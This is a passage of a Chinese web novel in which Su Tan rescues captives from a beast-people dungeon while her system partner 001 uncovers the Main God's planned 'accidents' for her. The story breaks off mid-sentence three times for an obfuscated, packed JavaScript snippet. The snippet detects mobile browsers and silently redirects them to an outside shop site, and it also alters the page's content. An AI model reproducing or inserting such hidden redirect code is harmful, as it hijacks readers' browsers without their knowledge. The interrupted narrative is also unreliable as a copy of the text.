……害羞?!他一个堂堂狼兽人,怎么可能会因为一个小雌狼的夸奖而感觉不好意思?简直不要太荒谬! 莱斯扭过头,僵硬道:“你感觉错了。” 苏昙笑了笑,没有理他,探头看向屋里床铺,疑惑道:“乔泽呢,还没起吗?” “——我在这!”乔泽的头从屋后的窗户外面伸出来,“刚刚在洗衣服呢,等我两分钟,马上就好!” 苏昙随口对莱斯说道:“你看,连乔泽都不怎么睡懒觉,变得勤快多了。” 莱斯冷笑:“……那是他昨天半夜发.情了。” 苏昙:“……” 她差点被自己的口水噎住。难道好兄弟揭起对方的短,都是这么不留情面的吗? 莱斯的解释太过直白,她罕见地没接得上话。 幸好乔泽动作快,还不到两分钟就回到屋里:“小希,你怎么提前一天来了?” 苏昙暂时没法直视他,斜着眼把今天凌晨时候,查克讲的关于宾砾和地牢的事情重述了一遍,然后说:“我们只有三天时间救出那些被困的兽人。今天中午,我和小鸦准备进到地牢里查探情况。” “宾砾他、他怎么能这么自私?!”乔泽气得话都要说不完整。 莱斯反应还算平静,他问:“那我们在外面要怎么做?需要我去杀了宾砾吗?” “不行!”苏昙立刻反驳,“查克不清楚宾砾和老荣私下往来的细节,我们同样不清楚。杀了宾砾,还有一个老荣。老荣不仅是人类,还是个没有同情心的卑鄙盗猎者,在不确定他知不知道地牢位置的情况下,我们不能拿那些失踪兽人的性命做赌注。” “那我们时刻观察宾砾的动向,不让他靠近地牢,如果他掳走其他兽人,我们便暗中救下。” 乔泽缓得差不多,提议道。 苏昙补充:“同时,你们随时等着小鸦的来信。当你们和小鸦取得联系的时候,就说明我们已经找到了离开地牢的路。然后你们立刻带着失踪兽人的亲朋,跟着小鸦来地牢出口守着。” “宾砾生性敏感多疑,不管地牢是不是他建的,肯定不会只有一条出去的路。一定还有其他离开的途径,我必须要在三日内找到出口。”苏昙眼眸深邃,“我们没有其他的选择,只许成功,不能失败。” * 苏昙回到月影族,离中午还有些时间,本想再补个觉,意外看到凌冉在房子里。 凌冉看了她一眼:“你们要开始行动了?” 苏昙和她整日都见不上一面,没想到她觉察这么敏锐。 “嗯,今天中午离开月影族,去宾砾的地牢救他掳走的兽人。等下次回来,估计就要几天后了。” ——如果能平安结束的话。苏昙心想。 凌冉轻轻点头,没有再说什么。 “……不过,我还有一个小小的请求,希望你能帮我。” “你说。” 苏昙缓缓开口:“再有一个多月,就是头狼选举,时间越来越近,有些狼估计就要按捺不住。这几天里,你一定密切注意月影族内部的暗涌,看看是哪些狼在蠢蠢欲动。也许,头狼选举过后,月影族真正的领导者就会回来了。” 凌冉棕瞳微颤,她竟然也有些期待,两个月后的月影族会是什么模样。 “好,我答应你。” “多谢。” 只不过凌冉心有不解,问道:“你为什么会对月影族的事这么上心?毕竟你……从来没说过你是月影族的一员。” 苏昙笑着反问她:“你希望我是吗?” “希望。”凌冉毫不犹豫道。 “那我就是。”苏昙和她视线交融,“莱斯是我的朋友,我想帮他。月影族又是他曾经的情感寄托,所以帮月影族,就是在帮他。” 凌冉久久地看着眼前一岁多的小狼,她很久都没有遇到过这样鲜活的狼兽人,以至于快要忘记曾经的月影族也是这般生动蓬勃。 良久,她嘱托道:“宾砾阴险,你们一定注意安全。另外,请再帮我向莱斯托一句想念。” “没问题。” 苏昙向凌冉挥挥手,走出房门。 接下来,该去找查克了。 她避开散住的众狼来到查克家里,惊觉眼前景象焕然一新! 最直观的感受,就是房间里浓重的霉味消散得无影无踪。查克把她领进去,走得畅通无阻。 苏昙看不到那些没用的瓶瓶罐罐,也吸不到呛人喉咙的灰尘,就连沾满泥土被褥也被仔细洗过一遍,晒得蓬松温暖。 好家伙,这狼是真听劝啊!苏昙不由感叹。 查克身上的伤口刚刚结痂,行动还有些不便,他看见苏昙环顾四周的惊叹目光,无措道:“我都是按你教我那样做的。” “感觉怎么样?” “心里畅快得多。” “畅快就对了。” 苏昙附和赞同。 她从挎包掏出骨哨,唤来小鸦:“咱们现在走吧?” 查克带着一狼一鸟轻车熟路来到那片树洞树林,又爬上树林后边的山坡,拨开上面遮挡的灌木丛,露出一块一平方米大的厚实棕黑色木板。 他掀开木板,对苏昙说道:“为了不引起注意,你和小鸦需要假装是被抓来的兽人,最好化成狼形,跟紧我的脚步。” 苏昙按他说的照做,看着查克给她和小鸦拴上脚链,又接下他递过来的钥匙。 查克:“等你们被关进地牢,就可以用钥匙打开链子,之后想怎么做随你。” 他转身走下洞口连着的楼梯,放慢了脚步。 苏昙跟在他身后,看不清周围的情况。 这条通道很长也很黑,空气潮湿,一阵一阵的阴风吹过身体,激起一层层鸡皮疙瘩。她脚腕上的链子随着步伐发出铛铛的响声,在通道里反复回荡,听得人心里发毛。 在左拐两次,右拐三次后,查克终于在四只黑鸢化形成的兽人守着的大门前站定。 “仨五带俩二!该你出了。” “炸十!嘿嘿,还有人要出吗?” “没有,你赶紧继续吧!” “对儿九!诶,我走了,哈哈哈赢了赢了!” “来来来再来一局!” 一阵洗牌声音响起。 查克嘴角抽了抽,出声道:“——咳、咳!老大今天有事,这是他让我带来的新的两个兽人,还麻烦各位给关进去!” 查克的话仿佛落进棉花里,没获得任何回应。他提高嗓音又喊了一遍:“我说!这是新掳的兽人,把她们带走!” 终于,一个红色瞳孔,鹰钩鼻的兽人慢条斯理地把牌整好,腾得站起来,挂在腰间的一串钥匙哗哗地响。 他不耐烦地掐住“奄奄一息”趴在地上的雌狼的脖颈,粗暴地拽起她的头,仔细查看。 只是他刚把目光落在小雌狼身上,就感觉有一道冰冷锐利的视线同时落到自己的手上,好像这只手再多用些力,就会被那道晦涩不明的视线残忍割断。 红瞳兽人没由来的一阵心慌,他草草看过两眼,直起身挥挥手:“没什么问题,交给我。” 查克紧张地哈哈笑了两声,故作镇定道:“那就拜托你,如果宾砾有什么通知,我再来告诉你们。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590017|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “知道了,走吧走吧。” 红瞳兽人一手拎着小雌狼和乌鸦,一手在左腰间摸索,拽掉一个钥匙,打开复杂的大门锁链。 “砰”的一声,大门在身后关上,苏昙微微睁开眼睛,看清了地牢内部的模样。 地牢有些空荡,分左右两侧,两边各有数十个小房间,有些里面关着失踪的兽人,有些则是空的。牢里的味道刺鼻,像是埋了一地的尸体,散发出腐烂血腥的味道,苏昙差点没当场吐出来。地牢的地板在微弱的光亮中反射出零星碎光,不知那一滩滩的,是水还是血。 红瞳兽人皱着眉往前走了两步,嘴里念念有词:“快死了的,还有些价值的,要关在单独的房间,靠外侧……就这吧。” 他再次在右腰间摸索一番,捏住一个小点的钥匙,打开小房间的门锁,把苏昙扔了进去。 “至于另一个,就和她呆在一起吧。一只狼,一只乌鸦,我倒是有些好奇,七天之后,谁会活下来……” 做完这些,红瞳兽人似是不愿在这里多呆一秒,重新锁上门匆匆离开地牢。 苏昙看他离开,立刻化成人形坐起来,把身旁的小鸦抱到干硬的草堆上——那是房间里唯一的床,敷衍又丑陋。 自从小鸦见到那四只凶猛的秃鹫便吓得晕过去,一时半会醒不过来。 苏昙努力屏蔽掉整个地牢里难闻的气味,喊道:“001?” “我在。” 熟悉的声音立刻响起,紧接着,一个肩宽腰窄的男子出现,他似乎早就准备好回应她的呼唤。 苏昙问道:“刚刚在大门外,你是不是出现了?” “嗯。” “你那时候出现干什么,搞不好会让那些黑鸢起疑。” 苏昙没有意识到,她的语气听起来不像训斥,反而有隐隐的关心在里面。 “他对你太粗暴,我不喜欢,想警告他。” 苏昙纠正:“他怎么对我和你没关系。” “有关系。我答应了你,要保证你的安全。” “我那时和现在不都是好好的?” “……” 苏昙想到什么,眼睛瞟向一旁,说道:“那天清晨在凌冉家,我刚从梦魇中醒过来,状态不好,可能说了什么让你误会的话,如果你因为我的话感到生气,现在就可以骂回来。你千万不要有什么误会,也别……多想。” “我没有生气,也没有多想。”001回答得干脆,然后从口袋里掏出一串钥匙,“刚才出现在大门那,是因为看到墙上挂的钥匙,和那只鸟右腰上系的钥匙一样,就给你拿了过来。” “……这样啊。”苏昙总觉得他话说得哪里不对,却找不到奇怪的地方。 001消失两秒,又出现在房间门外,用对应钥匙打开门锁,推开门走进来,把那一串钥匙交给苏昙。 苏昙心里的高兴盖过方才的疑惑,她握住钥匙,谢道:“太好了!有了钥匙,我就能少费点力气。” “不过,你还能穿墙啊?”苏昙指指门,又指指他,好奇地问。 “不能。我能出现在你身边的距离有限,以你为中心,只有五米的距离。我可以挑选出现在你附近的位置,但不能像你想的那样,直接穿墙。” 001耐心解释。 “噢。”苏昙脸上没有流露失望神色,她倒是想体验一把001的闪现技能,未免也太好用了! 001不知她又想到了哪里,出声拉回她的思绪:“你接下来准备怎么做?” 苏昙把钥匙放好,说道:“小鸦还没醒,我不放心他。等他醒了,我再出去找找粟叶和那只小雌狼。哦,还有那只驼鹿大哥的女朋友,她们都在这里,但我刚刚进来的时候,却没看见她们。” “好……”001停了片刻,又说道,“那你现在要不要再休息会?毕竟昨天都没怎么睡好……如果精神不好,会影响你找出口和思考的速度。我现在没什么事,能在你们身边帮着留意周围情况。” 本来苏昙还没觉得有多疲惫,听到001的建议后,竟跟着打了一个大大的哈欠,觉得他说得有几分道理,便顺着他的话道:“那好吧。” 她拂去桌子和凳子上的灰尘,刚趴到桌面就沉沉睡去。 56. 世界三(16) 001本以为苏昙能多休息一会,谁知刚刚一个小时,小鸦就醒了过来。 他睁开双眼,茫然地盯着某个的地方看了一会,又把头埋进翅膀的羽毛里清理。做完这些,小鸦跳下床,飞上桌,把趴在桌上睡觉的苏昙轻轻啄醒。 “……嗯?你醒了?” 苏昙这一觉睡得安稳,只是胳膊和双脚都有些酸麻,一时站不起来。她拍打酸胀的小腿,然后伸了个大大的懒腰。 过了几分钟,苏昙跺跺脚站起身,对小鸦指指向自己的肩膀,振奋精神道:“走吧,咱们去看看这地牢里究竟有什么!” * 001本在地牢守着苏昙,结果才一个小时,那只小乌鸦就醒了。而且不知道是不是他的错觉,001总觉得这只乌鸦好像能看得到他。 之前在苏昙住的房子里,他就有这种感觉。不过那时他因为偷看,做贼心虚,被鸟叫声吓了一大跳,平静下来之后,才意识到他未免过分紧张,心里泛起酸涩的无奈。 不过,眼下苏昙被小鸦叫醒,001便离开地牢,回到虚空之境。 其实,他今天还有其他事情要做。不过护着苏昙的安全是首要事情罢了。 001回到工位换了一身衣服,来到主神所在的密门前。 不等他说话,一个威严低沉的声音就先响起:“001,今天怎么有空来找我?” “自从接手新宿主,我有许久都没和您长谈过。眼看苏昙已经进到第三个里世界,不知您怎么看她?” “我无法看到宿主在里世界的生活,你们不是不知道,何必来问我。”主神不慌不忙道,“倒是你,你觉得她是一个什么样的人?” 001注视着古铜色密门和两侧墙壁上盘绕的巨大触手,说道:“言语跳脱、心思深沉、欲求不满。” 这回答说真不真,说假也不假。毕竟当时刚遇到苏昙时,他的确这样看她。至于现在…… 001嘴角浮现一丝浅浅的苦笑。 那些蠕动的触手似乎感应到他的情绪变化,以为他的笑是对苏昙失望至极所生。主神话里染上些许瘆人的笑意:“看来这位宿主也和之前的那些一样,是吗?” “是。” “果然,你的见解有我几分模样。不如,你再向我讲讲前两个里世界的原主,你觉得她们如何?” 001没有思考很久,很快道:“苏雨昙独立强势,事业心强,在演艺方面很有天赋。她能成功回去,也算熬过了在裂缝之隙五年里日复一日的等待之苦;第二个里世界的苏昙,自尊心太强,天生灵脉有缺陷但心里不服输,一直拧着一股劲,从而容易钻牛角尖,走极端。希望这次重获新生,她能有所取舍,看到眼前真正重要的是什么。” “第三个里世界的原主维希……说来很奇怪,我看不到她之前都经历了什么,只能在她的记忆里读到,她出生之后就和父母生活在一起,就在苏昙要进到世界前一个星期,维希家族被敌对狼族追杀,后来和家人走散,直到濒死的时候,苏昙穿进她的身体。非要说维希性格怎么样,也许是她的求生之心给了她能赌上一赌的机会。” 主神似乎很满意001的回答,连同墙上的触角开始微微抖动。 而祂的语气却依旧平淡:“你看人一向很准。说不定,等你有了人类身份,加上一百多年来存下的奖金,真能过得不错。” 001神色如常:“不着急,苏昙能不能过完第三个里世界还难说。只要我在虚空之境一天,我永远是您最得力的子系统。” “哈哈,我就喜欢你的忠心。”主神毫不遮掩自己的私心,祂想到什么,又问道,“我给你的无念珠,在那之后用过吗?” “主神忘了,我说过,不会有需要这颗珠子的一天……您不相信我吗?” 001脸上露出不多不少的委屈隐忍神色,刚好够引起主神注意,又不会令祂起疑。 如果苏昙在这,估计都要骂他一句惺惺作态。 “怎么会不相信?”主神受用得很,语气急了几分,“你瞧我,光顾着问那些不相关的原主宿主,都忘记问你,在第一个里世界受的伤有没有好彻底?” “您是指哪一次受伤?” “……自然是你私自放出苏雨昙,我罚你的那次。” ——祂犹豫了。 001在心里默默说道。 他的目光落到眼前的触手上,感觉它们好像变得更红了,像血,又像墨,浓得快要滴出来。 “不然,你还有哪次受伤是我不知道的?”主神语气恢复平淡,淡得有些陌生。 “当然没有。”001低头说道,“那次惩罚的教训我从没忘记,您说的话我也时刻提醒自己。主神创造了我们,我们就是您意志的一部分,不会逾矩。” “知道就好。还是那句话,若到必要时候,没必要和宿主死磕,她也不是不可以彻底消失。我会给你更好的。” “我明白。到了需要您出手的那一天,我会找您帮忙。” “行了,我有点累,想休息一会,你先回去吧。”主神下了逐客令。 “好。” 001回到房间,眸色深沉,眼皮半阖,长长的睫毛遮住眼睛的情绪。 刚刚去套主神的话,祂果然有问题。001在第一个里世界一共受过两次伤。一次因为责罚,一次为了保护苏昙,他撞到了巨石上。主神的犹豫,进一步证实了001的猜测。 苏昙猜测的没错,她真的有可能受到主神的威胁。绳索的意外脱落,十有八九和祂离不了关系。 可主神是如何得知的?第二个里世界的莲会不会也和主神有关?除了子系统,到底还有哪里可以看到宿主在里世界的生活? 001下意识想到了苏雨昙,一个地方在嘴边呼之欲出。 裂缝之隙。 住在裂缝之隙的原主,可以通过浮面镜看到宿主在里世界的日常生活。有些原主仍然愿意去关注;有些原主心里失去希望,像苏雨昙那样的,不知多长时间都没有看过那面镜子。 但不去看,不代表看不到。 自从上次001暗中放走苏雨昙的魂魄被主神发现,裂缝之隙的管理变得越来越严格。现在不仅增加一倍的门卫,而且必须拿着主神给的传音珠证明许可。 001穿过虚空之境的大厅,来到裂缝之隙附近的一个杂物间,静静地等着。 时间一分一秒流逝,杂物间门外的噪杂声音响了又落。三个小时过去,001听到外面出现一阵骚动。 “一共一百五十个人,排队站好,跟着我的脚步,不要私自乱跑,否则后果自负!” 说话的是看守裂缝之隙的一个员工。他抖了抖手里的名单,和身后队伍的原主对照。 今晚裂缝之隙来了一批新到的原主,他们来这的方式五花八门:有纵欲过度猝死的、心脏病突发抢救无效死的、出车祸死的、还有自杀死的…… 但既然他们来到这里成为原主,就说明心里还有执念没有完全放下,才让主神寻得他们漫无目的飘荡的魂魄,带来虚空之境,与众多素未谋面的宿主签立赌约。 001听着队伍的脚步声逐渐远去,他化成格式化乱码,不动声色地离开杂物间,悄悄跟在人群的最后面。 “这是名单,这是传音珠。所以宿主都已经核对过,把门打开,放他们进去吧。”拿着名单的员工对其他守门的员工说道。 “没问题。” 裂缝之隙大门缓缓打开,新一批的原主陆续进入。 突然,裂缝之隙里的一个房间爆发出悲怵的痛哭。 原本安静走路的新人听到,变得骚动不安。 领队的员工对半透明的新人们大喝一声:“安静!你们拿着自己的房卡,找到对应的房间号,自己过去,我就送你们到这!” 说完,他离开队伍,走到传出哭声的房间,敲敲房门,语重心长道:“我说你,既然来了这,就安安心心地等,着急是没有用的,还不如多祈祷能遇到一个好点的宿主。” 员工又瞅了一眼门上的电子灯牌:“你看,你才来两年,就这么失望,那其他待了八年、九年,甚至几十年的人岂不是要彻底心灰意冷?别伤心了,你们在这好吃好喝,虽然少了些自由,但总归还是不错的,感谢主神吧!” “……” 房间里哭声渐息。有哭声,还算热闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593283|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,没了哭声,房间就更显死气沉沉。 001一路走过不同的房间,里面有些原主的名字,之前因为宿主有所了解,不过大多还是些不停出现的新面孔。 他/她们有的大哭不止;有的暴躁愤怒;有的躺在床上萎靡不振;有的已经变得疯癫。人生百态,世事无常,竟都在裂缝之隙这一座高楼里展现得淋漓尽致。 乱码形态的001很快穿过一楼的走廊,拨开厚厚的廊帘,进入帘子后面遮掩的电梯。 几秒后,一张通行卡凭空出现,放在楼层按钮下的感应区,标有数字“1”的按钮随之亮起。 这座大楼一共八十层,001决定一层一层开始找。 当初虚空之境初建,主神便保证,不会去干涉里世界的运行和宿主的生活,也不会利用原主和子系统,说是为了保证虚空之境的平稳运转。 可一旦疑心萌生,就会越来越多。谁都是如此,哪怕001是个连人都称不上的子系统。现在,他只觉得主神曾经定下的规则无形中变了味道。 001动作又快又轻,一楼很快被检查完,没有异常。 接着是二楼、三楼、四楼……十楼……十五楼……二十五楼…… 电梯一层层上升,八十层的楼铃“叮”地响起。001看了一眼手表:夜里十二点整。不知不觉,他已经查了五个小时,却仍然没有任何发现。 八十层是顶楼,也是最后一层,若是这一层还是找不到主神的痕迹,那么一切的猜测都会变成无厘头的泡影。001凝神,逐一走过每个房间。 主神的气息很好辨别,如果没有特殊情况,一般散发着压迫性的恐惧气息。 …… 终于,001在一间挂着“储物间”牌子的房间前停下脚步。这个小房间毫不起眼,然而里面隐隐约约透出主神的气息,若有若无。001又往前走了一步。 他推开门,一股陈旧的味道扑面而来。屋里的架子上放着停置很久的物件:破旧的桌子、落尘的工具、发黄的海报…… 海报。001目光落到贴有海报的那一片墙。他感知到,那里主神的气息最强烈。 他掀开海报,一扇暗门兀自暴露在视线中。001拧动门把手,不由被暗门背后的景象惊住。 这是一间很大的档案室,放着的全是他从没见过的档案。 不对,不止是他,恐怕整个虚空之境的子系统,没有一个见过这些档案。 ——这间档案室是主神的地盘! 001快步走到架子旁边,随手翻开一个,竟是关于宿主的文件。里面的内容很简略,但读下去就能察觉到不对劲。 这里面记录的,竟都是宿主在每个里世界遭遇的不同意外! 001手有些发抖,他把档案放回原位,开始寻找苏昙的那一份。 房间里响起略微急促的呼吸声,和翻动纸页的哗哗声。他看到苏昙的名字写在A4纸的正上方,紧接着是她在前两个里世界经历过的险些丧命的事情:坠落山坡而亡;黑气侵体,神志溃散自杀而亡。 001目光下移: 火灾遇险而亡。 ……为什么会有火灾?哪来的火灾?难道这是还没发生的事情!? 主神为什么会知道苏昙在第三个里世界要发生的意外,难道真的和他有关?这样看来,谷晨的死亡看似和主神没有关系,实则和里世界的意外也脱不开关系! 苏昙的档案上,只有前三个世界的小动作,也就是说,只有在宿主来到新的世界,主神才有机会安排那些意外。不过,001想,当下最要紧的,就是恢复好后,赶快提醒苏昙,她接下来要遇到的意外。 “不能激动。” 001提醒自己,他现在是乱码状态,如果情绪波动过大,容易被主神察觉。 这时,楼下响起低声说话的声音,是楼里的员工开始新一天的人数清点。 001思及现在裂缝之隙的大门应该被打开,快速把苏昙档案复原,直接回到一楼,悄悄溜了出去。 他没有发现,早在离开档案室的时候,身后便无声出现一条猩红色触手,隐藏在阴影里。良久,又慢慢离去。 57. 世界三(17) 苏昙和小鸦走出房间,她这次看清地上的“水”的确是血,已经在空气中氧化变深,快要干掉。 地牢里死气沉沉,她所在的这一层气氛十分压抑,连几丝呼吸声都察觉不到。苏昙仔细检查房间,发现这些兽人个个面黄肌瘦,有的遍体鳞伤,甚至没有坐起来的力气。 她想到门口的四只黑鸢,虽然说不上肥胖,身体看起来也是精壮,一看平时就没少亏待自己。说不定,本该送到这些被掳兽人房间里的吃食全都进了他们的肚子。 苏昙拐到靠右边的一列房间,走到一半,找到了一只雌性驼鹿,只是她紧闭眼睛,好像晕了过去。她又往前走几步,听到紧挨着驼鹿的房间传来一声呼唤。 “……是有人在外面吗?” 苏昙觉得这声音有些耳熟,她用001偷来的钥匙打开门,看到粟叶坐在草垫子上。 “是你?”他有些意外会在这里遇见救命恩人。 苏昙看见他一只手无力地垂在膝盖,问道:“你那日受的伤一直没好?” 粟叶苦笑:“嗯,我们在这吃不到食物,也和不上几口水,现在没死都是福大命大。这牢里的老鼠,都快被我们逮着吃净了。” “那些黑鸢还真的不给你送吃的?” “在他们看来,我们最后都要死。既然会死,被饿死和被杀死又有什么区别?这里面伤口腐烂的臭味和身体的馊味太难闻,他们一般也不愿意进来多呆。” 苏昙还是有些想不明白:“你究竟是怎么被宾砾骗过来的?” “他根本没骗我。当时我身体受伤严重,你离开的第二天,他见到我,不由分说就把我绑来地牢,一关就到现在。”粟叶神情痛苦,语气发抖。 苏昙给粟叶倒了一杯水,鼓励道:“别灰心,我来就是要救你们出去的。后天是宾砾把你们交给盗猎者的日子,这两天我会找到出去的路,要保持希望。” “谢谢。”粟叶接过杯子,灌了一口甘甜的清水,瞬间浇灭嗓子眼的干火,“可……你为什么会有水?” 苏昙看向水瓶,总不能说是虚空之境的子系统送的?那听起来也太扯淡了! 她笑着说道:“我偷偷带进来的——先不说这个了,我还有事要问你。” “什么事?” “你进来之后,有没有注意到一个蓝瞳垂耳,看起来比我小半岁的小雌狼?” “她也是……血统不纯的狼兽人?”粟叶耷拉下眼皮,“我刚来的几天一直在昏迷,没有注意送进来的都有哪些兽人,印象不深,对不起啊。” “没关系。”苏昙表示理解,她站起来说道,“你先好好休息,我再出去找找。” 苏昙回到地牢过道,总觉得这么大的地方,应该有暗道才是。她仔细摸索潮湿的墙壁,指尖一寸一寸游走每块墙砖,沾染上点点黑泥。 渐渐地,她感受到一丝时隐时现的小风。苏昙闭上眼睛,站在吹来游风的那一片地方,放慢摸索的动作。 有风的位置应该在……这一块。 苏昙的左手食指尖停在对应的一块砖上,感受到一股流动的凉意。她试着轻按墙砖,“啪嗒”一声,面前的墙壁向内凹陷出一个洞口,刚好容下一人通过。 苏昙走进一条延伸向下的黑暗的甬道。不过这条甬道没那么多弯弯绕绕,她一直顺着通道走,三分钟后,来到地牢二层。 地牢二层比一层小,关的兽人也少,苏昙很快找到了那只小雌狼。 小雌狼看着又瘦了一圈,她一见到苏昙就哭喊道:“救救我吧,我要被饿死了!” “你是被宾砾骗过来的?” “那只瞎了右眼的狼吗?对!就是他!他骗我说能带我去猎食,我就跟他走了。结果他把我关在这里这么长时间,除了几口水什么都不给我,他就是个骗子!” 小雌狼委屈得哭出来,但身体太缺水分,只流出两滴眼泪。 苏昙给她递过去一杯水,安抚道:“别怕,我会帮你的。你叫什么?” “莱萩。” “?!”苏昙下意识握紧瓶子,她拉过小雌狼的手,在手心比划道,“你说的是哪个‘莱’,是这样写的吗?” 莱萩点点头。 “你还记得你爸爸妈妈叫什么?”苏昙继续问。 “爸爸妈妈叫……叫……”莱萩紧皱眉头思索,半晌,低声道,“我记不清了。” “那你之前一直在森林里生活吗?” 莱萩表情放松下来:“嗯。从我出生就在森林里,从来没有离开过。” 苏昙想到第一次见她的地方,心里觉得奇怪,故作平常道:“可是我之前在森林的边界见过你,当时看你行色匆匆,就没出来和你打招呼。你在那里,是有什么事吗?” 莱萩回忆:“我记得你说的地方,那时我是要准备回家的。” “你的家……叫月影族吗?” “不知道,我只记得回家的路怎么走。妈妈说,家里会有人等我,还说,她见了我,一定会认出我的。” 苏昙总觉得她的回答怪怪的,既能对上一部分,又对不上。 “你说你家里有人等你,难道你还有别的兄弟姐妹?可妈妈为什么不跟你一起回家呢?” “对啊,妈妈为什么不和我一起回家?”莱萩似乎也很疑惑,她使劲地想了半天,突然痛苦地抱住头。 “莱萩!你怎么了?”苏昙扶住她的身体。 莱萩脸色瞬间变得惨灰,本就没什么血色的嘴唇更加苍白:“……头疼。头好疼。” 苏昙有些自责自己一个劲问了那么多问题,抱歉地扶她坐到椅子上,把剩下的水留给她,准备告别:“等我,我会找到出去的路,把你们带出地牢。” “别走!”莱萩拉住苏昙的衣角,“……地牢太黑了,我一个人好害怕,你能留下来陪我睡觉吗?” “我……”苏昙几番犹豫,最后决定,“好,我和你一起。” 她也不在乎这一天两天了,反正被发现都是迟早的事。 苏昙静静地坐在莱萩身边,陪她休息。 过了一会,莱萩感觉好了许多,她轻轻戳戳苏昙的胳膊,说道:“姐姐,你叫什么啊?刚刚一见到你,我就有一种熟悉的感觉。” “维希。” “维希姐姐,我们是不是在哪里见过啊?” “应该……没有吧?” 苏昙印象中,没听001提过维希还认识这么一个兽人朋友。 “好吧。我就是觉得姐姐你又善良又漂亮,肯定有好多人喜欢你,就像我一样,忍不住想和你亲近。”莱萩遗憾道。 “你一个小狼,嘴怎么这么甜。”苏昙揉了揉莱萩的脑袋,“刚才头那么疼,现在还是多休息。” “嗯,听姐姐的。” 地牢昏暗,不见阳光,整日也分不清白天黑夜。莱萩躺到草垫上,拉着苏昙的手,很快沉入睡眠。苏昙看了看表,才晚上八点。若是按她现实世界的作息,她的夜生活“狂欢时刻”才刚刚开始。 她想找001问点事情,喊了两声却无人应答。 这人忙什么呢?苏昙百无聊赖地想。 时针慢慢从八转到十二,苏昙翻来覆去几个小时,竟少有的失眠了。也是,在地牢这种又臭又潮的地方,她作为一个现代人,能睡好才怪。 苏昙睁着眼睛凝视房顶酝酿睡意,突然听到识海里响起熟悉的声音:“先别睡。” “……?”苏昙惊讶这个点001也没有休息,问道,“你怎么还没休息?刚结束工作吗?” “先听我说,今晚我溜进裂缝之隙,得知你在这个世界要经历的意外是火灾。”001把他在档案室的发现告诉了苏昙。 “什么?!也就是说……我每个世界经历的那些险些丧命的意外,真的和主神有关?”苏昙彻底被激了个清醒,在心里怒道,“祂为什么要这么做?!” “也许主神根本就没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598988|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让你、或者说让所有宿主成功离开第一个里世界。昨晚我和祂聊天,祂无意暴露自己其实知道你绳索脱落那件事。” “可主神怎么会知道我在里世界的生活?”苏昙不解。 “裂缝之隙是虚空之境里的一座高楼,楼里安置着所有的原主,他们可以通过浮面镜看到宿主的生活。”001停顿几秒,接着道,“如果主神想知道,弄来一面镜子绝非难事。换句话说,整个咸鱼系统包括虚空之境都是祂的创造物。” “可祂又是怎么做到干涉里世界的运行?祂就不怕所有的世界乱套吗?!” 苏昙心底泛起阵阵寒意。 “……我也没想通,祂究竟是怎么做到的。” 苏昙听着识海里那人的语气有些不对劲,好像非常疲惫无力。她问道:“你是不是身体不舒服,发生什么了吗?” “……我没事。” “你骗不了我。” 001看苏昙神色严肃,只好如实回答:“为了不被主神和其他子系统察觉,我化成格式化乱码去裂缝之隙,重新恢复人形后,有三个小时的‘空档’时间,会非常虚弱,也不能出现在你面前,只能在识海和你交流。” “那你还不赶紧去休息!”苏昙发现001总不把自己的身体当回事,说伤就伤。 “可你失眠了。” 001想再陪她一会。 苏昙明确道:“但我现在很瞌睡,我要睡了。主神的事情不是一时半刻熬会夜就能解决的,一切等明天醒了再说。” “……好的。晚安。” “晚安。” 苏昙仔细在识海辨别,确认001真的离开,才放心闭上眼睛。 她说的也不假,现在的确有困意渐渐袭卷身体,不一会,视线便开始模糊。 * 地牢大门外。 “偷偷摸摸干什么呢?” 押送苏昙的红瞳兽人看见自己的黑鸢同类背过身遮遮掩掩,好奇道。 被发现的兽人干脆亮出来手里的东西:“之前宾砾去交货,我悄悄跟踪过。他打交道的那个人类,嘴里总是叼着这个长条的东西,吸完之后吐气还会冒烟,好神奇!我也想试试,就把他腰里装着这个长条的盒子叼走了。我跑得快,他没抓住我。” 说完,拿着盒子的兽人从里面抽出一根,回忆着那个人类的动作,把打火机探过去,下一秒,长条的一段被点燃,闪烁着星星点点的火光。 他把点燃的长条递给红瞳兽人。 红瞳兽人推开他的手:“算了,我可不喜欢来路不明的东西,你自己好好享受吧。” “切,没品位。” 递烟的兽人又把东西收回去,放进嘴里狠狠吸了一口,又慢慢呼气,仿佛一个吞云吐雾的大仙。不过现下的他确实感觉有些飘飘欲仙,这是从未有过的新奇体验。 红瞳兽人看他抽完一根,喊他过来继续打牌。 “来了。” 黑鸢兽人随手把烟头扔在地上,转身走向牌桌。而烟头压在了一根枯树枝上。 “快快快,今天咱们玩五十K,这个可好玩了。我先给你们讲讲规则!” 